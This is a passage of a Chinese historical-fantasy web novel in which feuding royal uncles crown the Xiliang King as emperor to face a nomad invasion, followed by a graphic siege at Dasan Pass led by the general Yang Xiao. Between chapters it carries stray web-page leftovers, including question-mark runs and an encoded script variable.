这还是杨笑第一次见到南越王,以往只是听说过这位南越王是一个勤俭仗义,仁慈开明的一方仁主。现在,单是从那一脸慈祥和煦的笑容和那满手的老茧就可以看出传言非虚。 老人穿一身普通的赭色长袍,踩着千层底的粗布鞋,虽然年事已高,但身姿依旧魁梧挺拔的不像一个老年人。 杨笑见老人望向自己,连忙翻身下虎上前几步在老人身前拜倒:“小侄杨笑见过伯父。” 身后的万千将士也跟随杨笑单膝跪地齐声高呼道:“拜见南越王。” 南越王上前两步伸出双手扶起杨笑,把他上下端详了一番后点着头夸奖道:“好!好!好!” 南越王一连说了三声好,接着又说道:“老九真是得了一个好女婿啊!” 在西梁王几兄弟中,老皇帝排行老大;老二青年早逝;老三正是面前的南越王;老四是个闲散性子,无心权势,在京城做了个普通的清闲亲王;老五北静王镇守北疆;老六东安王;老七,老八平平常常,在自己的那一小块封地里享清福;而老九正是如今坐上了皇位的西梁王。 南越王扶起杨笑后又对众军高声道:“众将士都起来吧。”跪了一地的西梁将士们哗啦啦的站了起来。 南越王看着面前一眼望不尽的万千将士,他眯着眼睛高兴道:“令行禁止,不动如山!好!好!好!真是好哇!你们都是我大周的根基,大周的脊梁!有你们在,我大周的天下就会稳如山岳,大周的百姓就有遮风避雨的倚靠!” 对于西梁王与朝廷之间的种种,南越王自始至终都没有表达过任何态度,今天突然出现在这里,任谁都会在心里打一个问号。 杨笑同样也想弄明白:“不知伯父不顾劳累凶险,来到这两军对垒的战场上所为何事?”杨笑问道。 南越王一只手拉住杨笑,一只手冲他摆摆手说道:“侄女婿啊!听我一句劝,别打了,罢兵吧。都是一家人,打来打去有什么意思呢?还不是苦了天下的百姓,苦了这些将士们?” 数十万大军打了大半年,岂能是一位老人说一句话两句话就会罢兵休战的?若是一个上了年纪,没见过什么世面的山野村夫说出这样的话来,说不定还没人会觉得奇怪,说不定还会回敬几句,可说这话的是南越王,他不应该不知道这其中的轻重才是啊? 杨笑回道:“刀兵一起,岂是说停就能停得下来的?” 南越王感慨道:“岂不知兄弟阋墙,外御其侮啊!” “伯父何出此言?” 南越王叹口气道:“侄女婿,你还不知道吧?狄绒族已经联合了雪藩族,他们就要出兵了!” 在场所有人听到这句话全都大吃一惊!现时间大周王朝内部正值纷乱争斗不息之际,若是这个时候被人在背后捅上一刀……那时候内忧外患,一个不慎就会有亡国灭种的风险! 杨笑把一切能想到的可能在脑子里飞快的转了一遍,然后说道:“就算我父皇肯罢兵休战,那其他人也肯就此罢休吗?”说着一指应州城:“若是不能的话还不如让我一举将他们全都平定的好。” 南越王劝道:“你道老夫来此所谓何事呀?不瞒你说,我已经传讯于各位兄弟子侄,劝他们就此罢手。如果预料不错的话,老六也该到这里了。怎么样?侄女婿,敢不敢跟老夫一道去这应州城里走一遭?” 杨笑看了一眼应州城的城头,轻笑一声,回道:“有何不敢!纵使龙潭虎穴侄儿也会保伯父周全。” 见杨笑竟然一口就答应了自己的要求,而且丝毫不怀疑自己的动机,不但如此,一开口首先提到的竟然自己的周全,这怎能不让南越王高兴。 只见南越王开怀大笑道:“好!咱们这就走!”说着拉住杨笑的手就往应州城的方向而去。 还没走到应州城下,城门已经被打开了,护城河上的吊桥也徐徐的放了下来。东安王在一队侍卫的护送下走上了吊桥。 南越王在桥头站定:“老六,挺准时的嘛。” 东安王回道:“三哥都亲自来了,做兄弟的又怎能不来。” 南越王:“怎么?我都站在这儿了,你还不肯下来?” 东安王这才告罪一声:“是兄弟的不是,还望三哥不要怪罪。”说着从马背上下来也走到南越王的面前。身后众侍卫想要跟随,被他挥手呵退了。 东安王也是有一副魁梧身躯,只是看起来比南越王要年轻许多,头上也没有太多的白发。 “看来他们武家都是这般遗传。”杨笑看着二人的身材相貌在心里想着。 “这位就是大名鼎鼎的虎威将军吧?”东安王望着杨笑说道。 “侄儿见过六伯父。”尽管现在还处于两军对垒的状态,但杨笑在礼数上却并没有少。 东安王冷哼两声:“哼哼!我可不敢做你的什么伯父,就在刚才你还要跟我决一死战呢!”东安王说着就背负双手把头扭到了一边,不拿正脸去看杨笑。 “老六,不要这么小家子气嘛。”南越王出言调和道。 “三哥的胸怀小弟自愧不如。”东安王一时间还是有点放不下。 “好了,不说这些了。我在信里说的你考虑的怎么样了?”南越王直接问道。 “要是没考虑好的话我也就不来这里了。不过,那还要看他老九怎么说。”东安王的语气还是有些冷。 “那好。老大没了,老二也早早的就没了,那现在就由我这个做哥哥来做这个主。”南越王转身又对杨笑说道:“你去转告老九,七日之后,兖州城外见。” 杨笑告别南越王后一刻也没有停歇,骑着小黑一路飞驰直奔圣京城。 圣京城皇宫大内御书房中,已经做了皇帝的西梁王听杨笑说完应州城下遇到的事情后,低头抚须道:“南越王说的没有错,狄绒族和雪藩族确实已经达成了盟约,并且两族近段时间来的兵力调动也是十分的频繁,而这也正是我一直以来最为担心的,看来我们都不得不向对方有所妥协了。” 就在这时一个宫中内侍在门外禀告道:“陛下,有西梁边境上传来的紧急军情。” 杨笑和皇帝闻言都是一惊。 “快将人带进来!”西梁王立刻说道。 很快一个风尘仆仆的西梁边军被带了进来。 “快说说,现在是什么情况!” 不等那边军跪拜见礼西梁王便上前一步急切的问道。 那边军立刻跪在地上说道:“回陛下,狄绒族突然进犯,台阶山外已有三座城池被夺。” 台阶山外一连串的屯兵城池正是为监视狄绒族而专门建造的,有着先期预警和前期防御的重要做用,这些年来也是西梁畜养战马的重要地点,西梁军中的战马有一大半就是来自于台阶山和山外草原上的这些屯兵城。如今这些城池也确实是发挥了先期预警的作用,不过这却是西梁王最不愿意见到的。 “损失如何?”西梁王接着问道。 那边军喘口气,用手背在满是裂口的嘴角抹了一把回答道:“好在我军发现及时,并且畜养的战马也大多在我军出二山关时就被抽调走了,所以并没有多少损失,狄绒族也就是得到了三座空城。” “那就好,那就好。”西梁王稍稍缓口气说道:“你从台阶山到这里走了多长时间?” 边军回道:“小人日夜不停一路上跑死了两匹战马,就这样还用了十多天。” “十多天?这么说的话狄绒族岂不是就要打到台阶山了?”西梁王与杨笑对视一眼不约而同的说道。 “差不多吧。”那边军想了想后回道。 “台阶山,打到了台阶山……。”西梁王一边低声沉吟着一边坐了回去。 “父皇?”杨笑见西梁王坐在书案后低头不语,忍不住轻声询问道。 西梁王回过神来,对那传信的边军说道:“你先下去休息吧。”说完又对门外吩咐道:“来人!领这位小哥下去休息,要好生招待。” 一名宫中侍官领命将那名边军带了下去。 待二人离去后,杨笑上前一步问道:“父皇打算怎么办?” 西梁王想了想后说道:“看来兖州之行我们不得不做一些妥协了。” ……。? ?兖州城,一座位于关中平原东端的城池,这里正好位于圣京城、东安王封地和北静王封地之间。南越王把会面的地方选在这里,想必也是经过了一番深思熟虑的。这座有着几百年建城历史的城池,今天迎来了它从建立以来最重要的一天。 天刚蒙蒙亮,城外就已经聚结了一大批人,这些人全都来自于大周王朝的各个大小势力,他们都是应四大藩王之约而来。这些大大小小的藩王诸侯们聚在一起,你一言我一语的说个不停,而在百里之外则是随时待命的各路兵马。 刚进辰时,就有四队人马从四个不同的方向疾驰而来,在场所有人全都停止了交头接耳,纷纷伸长了脖子向这些人马驶来的方向望去。确切的说,来的是四支归属不同阵营的人马。这些人一进入会场,人群立刻自动的分开了一条道路,好让他们能直接进到会场的中央。 从马背上下来的不是别人,正是东安、南越、西梁和北静四大藩王,大周王朝最有权势的四个人。 东安王和北静王分别带了一队侍卫前来,西梁王由杨笑陪同,而南越王的身边依旧还是那辆普通的马车和那个老实巴交的车夫。 刚一见面,东安王就十分鄙夷的看了西梁王一眼:“行头倒是制备的挺全活,皇帝的龙袍都穿上了。” 北静王也毫不客气的补上一句:“就是!哥儿几个可还没有奉你为主呢!” 而南越王则是站在旁边一言不发。 西梁王有心发作,但一想到今天来这里的目的,瞪了二人一眼后还是忍奈了下来。他吐出一口浊气:“好!为了我大周的黎民社稷,我就把这身龙袍先脱下来。” 这时南越王走过来拍了拍他的肩膀,轻声说道:“没关系,也就一会儿的事。” 南越王这一看似不起眼的动作,落在有心之人的眼里,这其中的意味可就大不一样了。东安王和北静王全都睁大了眼睛看着这一幕,之后二人面面相觑一番,至于他们的心里在想些什么就只有他们自己知道了。而西梁王也有些难以置信的看着南越王,直到他与自己擦身而过走向会场中央的那座高台。 众人落坐后南越王首先开口道:“既然此次会盟是由我招集的,那么就让我先为大家说一说现如今我大周所面临的局面吧。” 南越王环视一周,见无人开口反对就又接着说道:“好。既然大家都没有意见那我就开始说了。” 南越王清了下嗓子说道:“相信你们很多人都已经知道了,我大周的世代仇敌已经开始进犯我西梁边境了,而我们这段时间都在做些什么呢?”南越王从老皇帝去世前说起,一直说到现在的天下大乱,诸王分争。直说的在场之人全都默不作声。 “现在的当务之急,是要选出一个大家都能够信服和拥护的皇帝来,好带领我大周的军民百姓共抗仇敌。否则的话,我大周的生灵将惨遭涂炭,我大周的基业将会被彻底的动摇……。” 这时候,台下有奈不住性子的,在人群里喊了一声:“南越王大人,您就说要推荐谁吧?” 这一声喊的正当时候,南越王等的就是这句话。他再次把众人环视一周,见他们全都把目光投向自己,随即伸手一指,开口高声道:“我九弟西梁王,其治下之严明,对百姓之仁慈,其属地之富庶,其三军之骁勇,无不绝冠于天下。况且其已然入主圣京,并奉有圣皇宝印,乃是我大周圣皇的不二人选!” 此言一出,台下之人纷纷交头接耳。等众人议论的差不多了,南越王问道:“大家商量的怎么样了?我希望大家都能够放下成见,以我大周社稷为重。”此言一出,众人又是一阵议论纷纷,不过这一次大多数人在议论的同时也在不住的点头。 眼看大局将定,这时一直在旁默不作声的东安王突然开口道:“那就这样奉他为主?一点条件也没有吗?” 在场众人当中就属他与西梁王的间隙最大,现在的局面进展之快,是他万万没有想到的。他可不希望到时候连句表达意见的机会都没有,就稀里糊涂的做了人家的臣子,那时候要杀要剐可就由不得自己了。 东安王的话一出,在场之人议论的声音更大了,必经当初占山为王的时候大家伙儿全都有份,现在不说清楚,等到将来要是来个秋后算账的话可就要遭殃了。 南越王早就知道会有人提出这样的意见来,而他也早就想好了对策:“大家有什么意见在这里可以尽管提出来,至于刚才东安王所说的嘛……我提议可以既往不咎!”说完他把目光投向了西梁王。 西梁王起身道:“可以。过往种种从今日起全都一笔勾销!” “那我等爵位封地呢?”北静王说道。 “一概不变!”西梁王的回答也很干脆。 “那我提了多年的世袭罔替呢?”北静王又说道。 西梁王面露难色开口道:“五哥心里应该知道,我大周从来无此先例。” 南越王也说道:“老五,不要得寸进尺!你知道这意味着什么,难道你想为子孙后世留下祸患吗?” 大周王朝自立国以来,所有的藩王诸侯全都不允许世袭罔替,就算功劳再大,地位再特殊,最多也只是让子孙继承爵位,而封地却是无论如何也不允许继承的。这样做的原因就是为了防止形成诸侯割据,威胁到中央王朝的局面。 北静王往四周看看,见没有人附议自己,知道事不可为也就不再说什么了。 这时西梁王开口道:“诸位不必有过余的担心,我武昭向来说话算话,说既往不咎就是既往不咎。刚才北静王说的世袭罔替之所以不能同意,大家也都知道是什么原因,世袭罔替是不可能了,但我可以向大家承诺,等危机解除之后,国库但有盈余我武昭定会不吝赏赐。” ……一大堆人最后又提了各种各样不同的意见和要求,其中的大多数都得到了应允,只有少部分实在是有点过分的没有被通过。最后西梁王说道:“此次狄绒族和雪藩族来势汹汹,我希望大家不要留有私心,都能够全力以赴,共助我大周渡过此次难关。” 等一切都商议妥当,南越王亲自为西梁王披上龙袍,东安王亲手为西梁王捧上御冕,北静王亲自为西梁王系上了御带。有了三王的拥戴,其它的大小藩王诸侯自然不会再说什么,所有人全都为了共同的利益,放下芥蒂,共赴难关。在三王的带领下三叩九拜,山呼万岁。 西梁王正式登基! 到底大周王朝会迎来什么样的危机?登基称帝的西梁王要怎样才能带领大家渡过难关?杨笑又在其中会有什么样的遭遇?欲知后事如何,且听下回分解! ??????? ??????? ??????? ??????? window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第一百三十回 血战大散关(一) 血战大散关 上一回说到西梁王受众藩王诸侯拥立登基,众人跪拜于地山呼万岁后西梁王武昭就正式的成为了皇帝武昭。 皇帝武昭端坐于上,抬手说一声:“众卿平身!” 结果皇帝刚刚说完“平身”两个字,下头的大小藩王诸侯们还没来得及谢恩起身呢,就听见“报!报!”伴随着一声声的急报声,一骑快马飞驰而来。 诸位看官您别问为什么每次都是在这种节骨眼上来这么一下子,咱这是讲故事呢,要是不这样的话咱这故事也进行不下去呀! 再说那一骑快马飞奔而来时,马上的人扯着嗓子喊叫着:“报!报!”西梁王闻声惊立而起,下面的人群一个个的也是齐齐的望向那匹飞驰而来的快马。 那匹马跑到跟前,马背上一个年轻骑卒翻身下马在台下跪倒后,将一纸军函高高的举过头顶:“陛下!大事不好,狄绒族已经攻破了砾谷关。” 台阶山中部有一条峡谷通道,这里是进出台阶山的几条关键通道之一,砾谷关就坐落于这条峡谷之中。出了这条峡谷往西可到西梁城,往东可通二山关,若是这条道路被狄绒族给打通的话,西梁城与二山关乃至与圣京城之间的联系就将受到威胁。 那青年士卒的一句话可以说是语惊四座。在场的所有人,只要不是傻子都知道这意味着什么。当然了,是傻子的话他也到不了这样的场合。 西梁王闻言赶紧问道:“守关将士死伤如何?” 诶!你看,出了事先问人怎么样,从这就可以看出一个皇帝的好坏来。 那青年士卒回道:“众将士奋力抵抗,乃何狄绒族来势凶猛,将士们死伤近半,朱喜颜将军下令焚毁关隘后带领剩余将士们通到了蘑菇岭。” “杨笑!” 皇帝武昭听完前方战况简报后,不假思索的就叫出了杨笑的名字。 杨笑起身上前单膝跪地,大声回答:“末将在!” “现在只有你的神虎才能及时赶到,你立刻动身,这是西梁虎符,记住,绝不能放一兵一卒过台阶山!” “末将听令!” 杨笑就地一拜后,起身冲着一个方向打了个响亮的口哨。口哨声刚落,小黑就如从天而降般窜入了会场,来到杨笑身边。杨笑一个纵身跃上小黑的后背,随后小黑几个起落间便消失在众人的视线之中。 在场众人绝大多数还是第一次见到小黑,一时间被震慑的有些回不过神儿来,这时皇帝在台上向众人说道:“诸位都听到刚才的消息了吧?情况危急,诸位还是尽快调集兵马速速驰援西梁为好!” 再怎么说大家也全都是大周王朝的子民,其中有不少人更是流着大周皇族的血脉,既然大家都吃着一个锅里的饭,又哪里能眼睁睁的看着做饭的灶台被别人生生的给砸了呢?一个个不用他人催促也知道接下来该怎么办了,于是兖州城外的十几万人马当场就开拔,直接往西梁境而去。 一个多月后,近百万大好男儿共赴国难! ……。 与此同时,一座台阶山外的小城里。 “王老三,你那边怎么样了?”一个伍长服饰的西梁军卒大声喊道。 “放心吧李哥!一切都弄妥当了。”不远处一个中年士卒回答道。 “老狗!” “诶!”另一个中年士卒听到呼唤后从窗户里探出脑袋。 “你去茅厕,掏两桶大粪,往这口井里给他灌上,还有那片菜地也都淋它个严严实实。” “好嘞!保证一口吃的喝的也不给他们留。”那个被叫做老狗的士卒答应道。 “老狗,要不要帮你一把?”一个年轻一些的士卒问道。 “不用。”别喊作老狗的士卒一摆手很干脆的回答道。 “我是说帮忙喂你两口。”那年轻士卒打趣道。 “你要不要喝?我给你多打点。”被叫做老狗的士卒提着一只粪桶走过那年轻士卒身边时问道。 “老狗,多给他留点。”另一个士卒显然是看热闹不嫌事大。 ……。 被胞泽们一口一个“老狗”的叫着,那士卒也不见生气,大概是他本身就姓“苟”的原因吧。 “还有你们几个,都快点!没看到老孙头那边的火已经烧起来了吗?那帮鞑靼可是已经过了鹧鸪岭了,再不快点就来不及了。”伍长催促着。 几个西梁军卒答应一声,手上的动作更快了,而在他们身后大半个小城已经烧了起来。 这些西梁军刚离开这座小城不到半天的功夫,一支狄绒族的队伍就来到了这里。看着已经被烧光毁尽的小城,一个狄绒族的将领啐了一口痰说道:“这帮家伙们跑的倒是挺快。” 这时一个狄绒族的军卒走过来禀告道:“将军,城里的所有房屋都被烧毁了,所有的水井都被他们给灌上了大粪,看来是不能用了。” 那狄绒族将领叹口气:“不管它了。这些都交给后面的人来处理吧,咱们继续往前走。” “可是我们的水已经不多了。”那狄绒族军卒提醒道。 “那你让我怎么办?这鬼地方到处都是沙子和乱石滩,我难道能给你变出水来?”狄绒族将领有些不耐烦了。 ……。 咱们回过头来先说杨笑。 只说那杨笑日夜兼程,一路飞驰来到了西梁境内,却听说狄绒族大军已经攻破了蘑菇岭,现在正被阻挡在大散关外。大散关是砾谷关通道中的最后一道关卡,狄绒族人如果攻破大散关的话就可以长驱直入,威胁到西梁境的腹地,于是杨笑脚步不停直奔大散关而去。 等他来到大散关下的时候,正值狄绒族大军正在大举攻打,并且已经有不少人爬到了城墙上,与西梁守军在城头上展开了激战。杨笑见状,二话不说,立刻抽出腰间长刀冲上了城墙。 城楼下的大门是狄绒族重点攻击的地方,冲到这里的狄绒族人也是最多的,而杨笑首先关注的也是这里的情况。 他冲上城墙一连砍倒了十几个狄绒族人,一路杀来却不见大散关守将,于是他高呼道:“本处守将何在?” 一名西梁士卒听到杨笑的呼声后,连忙杀退了面前的敌人退到杨笑的身边说道:“曲将军被飞石砸中已然身亡了。” 怪不得这些狄绒族人这么快就攻上了大散关的城墙,原来是守关的将军已经身亡了,从这一点也能看出敌人攻势之凶猛。 杨笑闻言一步跃到城楼前的台阶上大声喊道:“我乃虎威将军杨笑,所有西梁男儿听我号令!” 原本士气大受打击的西梁军听到是传闻中的杨将军到了,立刻受到了莫大的鼓舞,一个个全都鼓起了生平最大的勇气杀向面前的敌人。受到鼓舞的西梁军全都拼死血战,一时间城墙上的局势大变,原本与西梁军杀的难解难分的狄绒族人立刻落入了下风。 杨笑也跳下台阶加入了战团。以杨笑的身手杀这些普通的狄绒族人无异于砍瓜切菜,很快城楼前的狄绒族人就被杀了个干净。杨笑立刻命人阻止正在撞击楼门的狄绒族人,奈何还是晚了一步,下面的城门被敌军攻破了。 穷凶极恶敌人就像开闸的洪水水一般怪叫着涌进了城门。 “放钉栅!”杨笑大声的命令道。 杨笑一声令下,立刻有人冲上前去一刀砍断了系着钉栅的绳索。 “呜”的一声,一扇满是尖刺的栅栏夹带着风声落了下来,把刚冲进城门洞里的狄绒族人给拍了个粉身碎骨。 巨大的钉栅像一扇大门一样,把城门洞给挡了个严严实实。栅栏上满是手臂粗的尖桩,上面插满了狄绒族人的尸体,还有更多的狄绒族人正躺在钉栅前的地面上哀嚎不已。 不过这并不能吓退那些凶惨的狄绒族人。他们继续冲上前去把地上受伤的同伴丢到一边,把那些挂在钉栅上的尸体扒下来,然后用手里的刀斧去砍挡住了通道的钉栅。 但钉栅上都是粗如檩条的方木,在关键的地方还有铁皮加固,并不是那么容易就能砍断的。趁着城门里的敌军受阻时,西梁军加紧肃清城墙上的敌人,可先前的几次战斗中城墙受损严重,狄绒族人不断的从城墙破损处冲上来,也不是那么容易就能杀干净的。 钉栅就算再结实,必经也是木头做的,敌人砍了一阵子后还是在上面砍出了一个大窟窿。眼见狄绒族人又冲了进来,杨笑命令再次放下钉栅。第二道钉栅被放了下来,又有一堆狄绒族人被拍了个稀巴烂,但这次依然没能恫吓住敌军。 “烧死他们!”杨笑见状命令道。 一道道桐油从城墙上还有城门洞顶上的小窟窿里倒了下来,正处在下面的狄绒族人全都给浇了个满身满脸。与此同时,几根火把从城楼上丢了下来。 “呼!”火焰像毒蛇一样窜的到处都是,把城门洞里还有城门前的一大片地方全都给烧着了,被大火吞没的狄绒族人发出一阵阵杀猪般的嚎叫声。 城门处暂时有了大火的保护,西梁军终于可以全力对付城墙上的敌人了,用了没多长时间敌人就被赶下了城墙。 ??????? ??????? window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第一百三十一回 血战大散关(二) 凶惨的狄绒族人并没有真正的撤退。人潮退去的同时,一块块石头紧接着从天而降。 敌人的抛石车又开始发威了。 大大小小的石头不断的落下来,来不及躲避的西梁军有不少人被砸死砸伤,杨笑躲避乱石的同时还救下了两名受伤的袍泽。城墙上的人全都撤了下来,以躲避从天上砸下来的石头,杨笑趁着这个功夫找到了几个守城的裨将参军。 “现在还有多少人马?”杨笑问道。 “昨晚战后统计能战者还剩一万三千多人,今天早上鞑靼们几次攻城又死伤了五六百人,刚刚这一波的损失只多不少。”一个大散关的参将说道。 “这么严重?”杨笑嘀咕了一声,随后他问道:“可还有援军?” “只有慈海县的两千人还在赶来的路上,天黑前应该能到。除此之外再没有能在短时间内赶到的援军了。”另一个裨将说道。 杨笑略思量一下后把虎符掏了出来:“这是我西梁虎符,见虎符如见西梁王!” 众人应声跪拜。 杨笑接着吩咐道:“传令下去,西梁境十五岁以上者,凡能战之后备军全部招集,听候调遣!飞狐州十五岁以上所有男丁,不论老幼,凡能战者全部招集!邻近村镇限天黑前赶到,五十里内限天亮前赶到,百里之内限明日正午前赶到,百里之外限后日日落前赶到,不得有误!”众人领命后立刻安排了几名骑卒,拿着印有虎符印记的令牌往各处前去招集援军。 做完这一切后狄绒族的抛石车也停了下来,西梁军立刻冲上城墙准备迎接敌军下一波次的进攻。 城墙外的敌军就如汹涌的潮水一般再一次向大散关涌来。 一个西梁军卒在城墙上探出脑袋往外看了一眼,只见狄绒族人密密麻麻的一眼望不到边,让人看了头皮都要发麻。 那西梁军卒啐了口唾沫骂道:“妈妈的,这些狄绒鞑靼怎么越杀还越多了?” 身旁的同伴嘲笑道:“怎么,害怕了?害怕的话趁早滚回家!” 那军卒不甘示弱道:“谁要是害怕谁就是孬种!”说着就站起身来冲着城墙下大声喊道:“来吧!你们这帮杂碎,爷爷要是往后退半步就算爷爷没种!” “没错!来多少杀多少,杀一个不亏本,杀一双赚一个!” 身边的众袍泽受到其情绪的感染全都抱起了必死的决心,互相的鼓劲儿打气。 “杀光这帮狗娘养的!” “对!杀光这帮狗娘养的!” “杀!” “杀!” “杀……!” 一时间城头之上喊杀声冲天! 城墙内,西梁军仅剩的几架抛石车也发动了。一块块石头飞向敌人的头顶,但敌人实在是太多了,稀疏的石块就如同丢进了汹涌的海浪之中,跟本起不到阻挡敌人的作用。 城头上的弓弩也张满了弦,如雨般的箭矢一波波的泼向城墙下。尽管射倒了无数的敌人,可还是没能挡住他们的脚步,敌人再一次的冲到了城墙下。 狄绒族的楼车上也有弓箭射了过来,不少西梁军卒不幸中箭倒地,不过好在有城墙上的箭垛遮挡,因此伤亡并不是很大。 在弓箭的掩护下,狄绒族人把一根根带有钩爪的绳索抛上城头,一架架高高的长梯靠在了城墙上。西梁军则一次次的砍断绳索,一次次的推倒长梯,那些爬到一半的敌人全都惨叫着掉了下去,不过更多的敌人立刻又爬了上来。 那片外墙坍塌了一半形成一处豁口的城墙,成了敌人重点进攻的地方,他们在三座楼车的掩护下不断的涌上来。城上的西梁军在敌人的冲击下不断的有人倒下,可就算是这样也没有一个人后退那怕半步,就算是死也要顺着城墙滚下去砸倒一片敌人。 西梁军一个接一个的倒下,又不断的有人补充上来。敌人一茬又一茬的滚落,却又有更多的敌人涌上城墙。整个战场就如同一台巨大的绞肉机般,在不停的收割着双方的生命。 战斗进行到了白热化的阶段。 一名西梁军卒刚把敌人抛上来的绳索斩断旁边却又有一架长梯靠了过来,好在有同伴及时拿来撑杆,几个人合力把那架长梯给推倒了……。 两名西梁军抬起一个狄绒族人的尸体丢出了城墙,把城墙外刚爬上来的敌人给砸了下去,不过其中一人却不幸被箭矢射伤……。 一名西梁老卒把手里的长枪都捅折了,他一把丢掉手里的半截枪杆,搬起脚下的石头就砸了下去,却被敌人的箭矢射中了肩膀,那老卒痛呼一声跌倒在地上。这时间,又一个狄绒族人爬了上来。老卒忍住疼痛拔掉肩上的箭,他大叫一声,将抓在手里的箭一把就插进了那狄绒族人的眼睛里。那狄绒族人也是一个狠人,忍着眼睛里传来的剧痛死死的抱住了老卒不撒手。老卒的肩膀受伤,一条胳膊跟本使不上力气。他挣不开抱住自己的敌人,干脆用尽全身的力气大叫一声:“老子跟你拼了!” 两个人抱在一起滚下了高高的城墙……。 一名年轻的西梁士卒只剩下了一条胳膊,却依然在不停的挥舞着手里的刀,直到留干最后一滴血。就算是最后倒地身亡,手里依然紧紧的握着那把满是豁口的钢刀。 那把刀从他从军入伍的第一天就一直陪着他,直到陪他走完了最后一步路。他们从来不离不弃,他们最终不辱使命……! 一名西梁军卒刚刚将一个敌人砍倒在地,正当他举起手里的刀想要上前再给对方补上一刀的时候,却猛的身躯一振定在了那里。他缓缓的低头向胸前看去,在那里正有一截带着鲜血的刀尖露在外面,泊泊的鲜血正从那处伤口不停的往外流着。 一股异样的感觉涌上了他的心头。也说不上来是疼痛还是什么感觉,只是整个人都僵在那里,手脚都不听使唤了。嘴里也出现一股奇怪的味道,那味道就像是在嘴里含了一把生锈的铁钉似的。 “这就是死亡的味道吗?”他在心里这样想着。 还不等他感受清楚这股奇怪的感觉,那截刀尖就抽了回去。 血就像他平日里漱口后用力喷出去的水一样,喷出去老远。 ……他跌跌撞撞的摔倒在地上,双手撑着地面爬在那里。嘴里的血跟不要钱似的一口一口的往外涌,他含糊不清的不甘心道:“妈的!老子这就要死了吗?” 他重新抓紧了手里的刀,挣扎着想要站起来再战一场,但敌人没有给他这个机会。 又是一刀砍在了他的后背上。 这一刀让他彻底的倒下了。 他爬在地上,嘴里发出痛苦的声音,努力的想要翻过身来。 “那怕让我看看到底是死在哪个王八儿子的手上也好哇!”这可能是他最后的心愿了。 他的视线渐渐的模糊了,这个最后的心愿到最后也没能实现……。 抛石车抛出了最后一块石头,负责指挥的将领四下看看,现场再也没有一块石头供他们使用了。猛然间他看到了不远处的营房,于是他一指那一片营房喊道:“把那堵墙给我推倒,用砖头砸!” 城墙内侧的走马道上一队西梁军卒排例着整齐的队形,领头的将领手抚刀柄,大马金刀的站在队伍的最前方向他的士兵们训着话。 “五营的兄弟们已经完成了他们的使命!现在,轮到我们九营了。” 那将领说完猛的抽出腰间的长刀,振臂高呼道:“兄弟们,决不能让狗娘养的鞑靼们跨过城墙半步。杀……!” “杀……!” 所有人全都在喊杀声中义无反顾的冲上了城头……。 狄绒族的楼车越靠越近,开始有敌人从楼车上跳到城墙上面来。尽管楼车上已经插了不少的火箭,但那些火苗太小了,短时间内跟本烧不坏楼车。 登上城墙的敌人越来越多,而楼车的加入让形势更加的严峻了。杨笑见状端起一个油锅就泼了过去,敌人的楼车立刻被大火吞噬了,楼车里没逃出来的狄绒族人被烧的吱哇乱叫。 可敌人的楼车并不只这一个,不断的有楼车靠过来,不断的有敌人从楼车上跳下来,城墙上的混战严重的影响了豁口处的防御,眼看着就要被敌人突破,有人大喊道:“浇油!浇油!烧死他们!烧死他们……!” “啪!啪!……!”几罐桐油连同装油的大罐子被摔碎在城墙上,暗红色的桐油浇的冲上来的敌人满身都是,桐油顺着城墙一直流到了墙脚下。 一根火把结束了豁口处的战斗,熊熊的大火让冲上来的敌人后悔来到这个世上。 有了大火的保护,缺口处的敌人暂时是上不来了,西梁军可以更专着的对付那些从楼车上跳下来的狄绒族人了。 不过这时候城门再次被敌人攻破了。 城门洞里面那两扇钉栅虽然没有被先前的大火烧坏,但紧张的战事也没有给西梁军把它们修复并再次吊挂起来的机会。被烧的焦黑的第二扇钉栅很快也被狄绒族人给拆了个大窟窿,敌人蜂拥而入。 好在城门里面还有一道瓮城。 “放千斤闸!” 等狄绒族人往里冲的差不多的时候,一块巨大的,包裹着厚厚铁皮的闸门被放了下来。“轰隆”一声,城门洞被堵了个严严实实。 “放箭!” 迎接狄绒族人的,是城墙上早已准备好的西梁军弓弩手。空荡荡的瓮城里没遮没拦,狭小的城门洞也给不了他们躲避的空间,所有冲进来的敌人全都被射杀了个干净。 等瓮城里的敌人全部被杀干净后,千斤闸又被提了起来。再次冲进来的狄绒族人看到满地的尸体后,立刻明白了身后畅通无阻的城门其实是一个吃人的陷阱,他们立刻向城门外退去,但还是有不少人被留了下来。等这一批敌人再次被杀干净后,城门再次张大了嘴巴等待下一批上钩的猎物。 如此反复几次后,再也没有狄绒族人敢冲进来了。 城墙外又有两座楼车被点燃了,不过这时候西梁军准备的桐油也用完了,敌人依旧还在不断的冲上来,城头上的局势丝毫没有得到缓解。在这道狭窄的城墙上对战的双方都陷入了残酷的拉锯战中。 而这时,那处城墙豁口处燃烧的火焰也渐渐的熄灭了下去,形势万分危急。负责看守此处的西梁军眼看着火越烧越小,心中焦急万分,此时一名百夫长喊道:“能烧的可不止桐油,烧不了油就烧木头,烧不了木头就烧人。把这些鞑靼人的尸体全都扔下去,再去搬些树枝木头来!” 很快一大堆各种各样的木头树枝掺杂在一起被丢了下去,其中就有先前被推倒的营房里的木料。垒墙的砖头砸向了敌人,营房里的门窗房梁等木料也化作了阻挡敌人脚步的烈火,这也算是一种物尽其用吧。 ……激烈的战斗持续了大约一个时辰后,西梁军终于再次击退了敌人,狄绒族人除了在地上留下一大片数不清的尸体外,也夺走了许多西梁将士的生命。 战争就是一台无情的绞肉机,在惨酷的战争中,人命已经不再是人命,是添加到战争火坑里的油;而人也不在是人,是挥砍着杀人兵器的战争工具。 这一次狄绒族人退去后,一直到天黑都再没有组织下一波次的冲击,看来他们也是打的有点累了。 